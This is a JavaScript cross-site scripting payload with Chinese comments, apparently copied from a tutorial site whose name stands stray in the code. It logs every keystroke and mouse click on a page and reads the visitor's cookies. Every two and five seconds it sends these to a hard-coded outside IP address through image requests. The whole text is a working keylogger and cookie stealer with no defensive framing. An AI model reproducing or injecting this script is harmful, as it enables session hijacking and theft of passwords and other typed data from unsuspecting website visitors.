var keys=''; //儲存鍵盤滑鼠記錄
var hacker = 'http://218.6.132.15:8080/xss.php';
var Url = window.location;
var Domain = document.domain;
var Cookie = document.cookie;
document.onkeypress = function(e) { //劫持鍵盤訊息
get = window.event ? event:e;
key = get.keyCode ? get.keyCode : get.charCode;
switch(key){
case 32 : key = '[Space]';break;
case 13 : key = '[Enter]';break;
case 8 : key = '[BackSpace]';break;
default :
key = String.fromCharCode(key);
keys += key;
}
}
www.2cto.com
window.onload = function(){ //視窗載入後發送cookie
setInterval(function(){
var Cookie_t = document.cookie;
if(Cookie_t != Cookie){
Cookie = Cookie_t;
}
SendData(hacker + '?m=c&c=' + Cookie);
},2000); //每2秒檢測一次cookie,如果變化,就重新發送
}
document.onmousedown = function(e) {
get = window.event ? event : e; //建立事件對象
var mousekey = get.button; //擷取滑鼠鍵代碼
switch(mousekey) {//1 滑鼠左鍵2 滑鼠右鍵4 滾動鍵
case 1 :
mousekey = '[Left Mouse Clik]';break;
case 2 :
mousekey = '[Right Mouse Clik]';break;
case 4 :
mousekey = '[Roll Mouse Clik]';break;
default :
mousekey = '[Unknown Mouse Key]';
}
keys += mousekey;
}
function SendData(src){
new Image().src = src; //建立圖片對象用於發射資料
}
setInterval(function(){ SendData(hacker + '?m=k&c=' + keys);keys = ''; },5000); //每五秒發送一次鍵盤記錄,初始設定變數